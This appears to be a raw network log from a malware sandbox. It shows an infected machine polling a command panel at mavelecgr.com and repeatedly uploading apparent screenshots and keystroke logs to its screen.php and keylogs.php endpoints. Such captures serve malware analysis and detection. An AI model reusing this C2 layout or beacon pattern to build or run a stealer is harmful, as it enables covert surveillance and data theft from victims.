Feb 21, 2023 07:09:09.250056982 CET	10288	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:09.295815945 CET	10289	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:09 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:09.403156042 CET	10289	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:09.448214054 CET	10289	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:09 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:09.554039001 CET	10289	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:09.599315882 CET	10289	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:09 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:09.702058077 CET	10290	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:09.747145891 CET	10290	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:09 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:09.888165951 CET	10290	OUT	POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e8024eaf22 Host: mavelecgr.com Content-Length: 51155 Expect: 100-continue
Feb 21, 2023 07:09:09.931555033 CET	10290	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:09:10.021296978 CET	10342	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:09:09 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:09:10.046439886 CET	10342	OUT	POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e809cf27bc Host: mavelecgr.com Content-Length: 241 Expect: 100-continue
Feb 21, 2023 07:09:10.089667082 CET	10342	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:09:10.217997074 CET	10343	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:09:10 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:09:10.324558973 CET	10343	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:10.369961023 CET	10343	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:10 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:11.487998962 CET	10389	OUT	POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e835953e1f Host: mavelecgr.com Content-Length: 51180 Expect: 100-continue
Feb 21, 2023 07:09:11.531332970 CET	10389	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:09:11.622432947 CET	10441	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:09:11 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:09:11.664130926 CET	10441	OUT	POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e842a22c7b Host: mavelecgr.com Content-Length: 284 Expect: 100-continue
Feb 21, 2023 07:09:11.707276106 CET	10441	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:09:11.838639975 CET	10442	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:09:11 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:09:11.948409081 CET	10442	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:11.993714094 CET	10442	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:11 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:13.450315952 CET	10443	OUT	POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e86817b45b Host: mavelecgr.com Content-Length: 51058 Expect: 100-continue
Feb 21, 2023 07:09:13.493525028 CET	10443	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:09:13.855283022 CET	10495	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:09:13 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:09:13.909579039 CET	10495	OUT	POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e86d9a1fa0 Host: mavelecgr.com Content-Length: 256 Expect: 100-continue
Feb 21, 2023 07:09:13.953025103 CET	10495	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:09:14.125657082 CET	10496	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:09:14 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:09:14.241420031 CET	10496	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:14.288146019 CET	10496	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:14 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:15.046732903 CET	10496	OUT	POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e88b67256e Host: mavelecgr.com Content-Length: 51155 Expect: 100-continue
Feb 21, 2023 07:09:15.090070963 CET	10496	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:09:15.179073095 CET	10548	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:09:15 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:09:15.242733955 CET	10549	OUT	POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e89431f831 Host: mavelecgr.com Content-Length: 284 Expect: 100-continue
Feb 21, 2023 07:09:15.286123037 CET	10549	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:09:15.415148973 CET	10550	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:09:15 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:09:15.526526928 CET	10555	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:15.572582006 CET	10555	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:15 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:15.682910919 CET	10555	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:15.729281902 CET	10555	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:15 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:15.841386080 CET	10556	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:15.887371063 CET	10556	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:15 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:15.995322943 CET	10556	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:16.041290045 CET	10556	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:16 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:16.151900053 CET	10556	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:16.198023081 CET	10556	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:16 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:16.324141026 CET	10557	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:16.369510889 CET	10557	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:16 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:16.479705095 CET	10557	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:16.525847912 CET	10557	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:16 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:16.664943933 CET	10557	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:16.713160992 CET	10558	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:16 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:16.823482990 CET	10558	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:16.869951963 CET	10558	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:16 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:16.977602005 CET	10558	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:17.023437023 CET	10558	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:16 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:17.152528048 CET	10559	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:17.199012041 CET	10559	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:17 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:17.300510883 CET	10559	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:17.346276999 CET	10559	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:17 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:17.450063944 CET	10559	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:17.496035099 CET	10560	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:17 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:17.702862978 CET	10560	OUT	POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e8d948c58b Host: mavelecgr.com Content-Length: 51155 Expect: 100-continue
Feb 21, 2023 07:09:17.746138096 CET	10560	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:09:17.836757898 CET	10612	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:09:17 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:09:17.855314970 CET	10612	OUT	POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e8d9609cc1 Host: mavelecgr.com Content-Length: 241 Expect: 100-continue
Feb 21, 2023 07:09:17.898658037 CET	10612	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:09:18.027534008 CET	10613	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:09:18 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:09:18.137335062 CET	10613	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:18.183180094 CET	10613	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:18 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:18.334348917 CET	10614	OUT	POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e8d9a4299e Host: mavelecgr.com Content-Length: 51155 Expect: 100-continue
Feb 21, 2023 07:09:18.377639055 CET	10614	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:09:18.469153881 CET	10665	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:09:18 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:09:18.547580004 CET	10666	OUT	POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e8d9cb456d Host: mavelecgr.com Content-Length: 284 Expect: 100-continue
Feb 21, 2023 07:09:18.590831041 CET	10666	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:09:18.849927902 CET	10666	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:09:18 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:09:18.964562893 CET	10667	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:19.009815931 CET	10667	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:18 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:19.402653933 CET	10667	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:19.448436975 CET	10667	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:19 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:19.524832010 CET	10668	OUT	POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e8da5b42f7 Host: mavelecgr.com Content-Length: 51058 Expect: 100-continue
Feb 21, 2023 07:09:19.568041086 CET	10668	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:09:19.656646013 CET	10719	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:09:19 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:09:19.732913971 CET	10720	OUT	POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e8da7bf811 Host: mavelecgr.com Content-Length: 256 Expect: 100-continue
Feb 21, 2023 07:09:19.776050091 CET	10720	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:09:19.903903961 CET	10720	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:09:19 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:09:20.005451918 CET	10721	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:20.050606012 CET	10721	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:20 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:20.241255045 CET	10721	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:20.286432981 CET	10721	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:20 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:20.397542000 CET	10721	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:20.442960024 CET	10722	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:20 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:20.553746939 CET	10722	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:20.598937035 CET	10722	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:20 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:20.721164942 CET	10722	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:20.766609907 CET	10723	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:20 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:20.882010937 CET	10723	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:20.927321911 CET	10724	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:20 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:21.038059950 CET	10724	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:21.083822012 CET	10724	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:21 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:21.194432974 CET	10724	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:21.239901066 CET	10725	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:21 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:21.350624084 CET	10725	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:21.395812988 CET	10725	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:21 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:21.506978035 CET	10725	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:21.553009987 CET	10725	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:21 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:21.654232979 CET	10726	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:21.701169014 CET	10726	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:21 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:21.804229975 CET	10726	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:21.849747896 CET	10726	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:21 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:21.993828058 CET	10726	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:22.038942099 CET	10727	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:22 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:22.131175041 CET	10727	OUT	POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e8dbe81775 Host: mavelecgr.com Content-Length: 51058 Expect: 100-continue
Feb 21, 2023 07:09:22.174336910 CET	10727	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:09:22.265460968 CET	10778	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:09:22 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
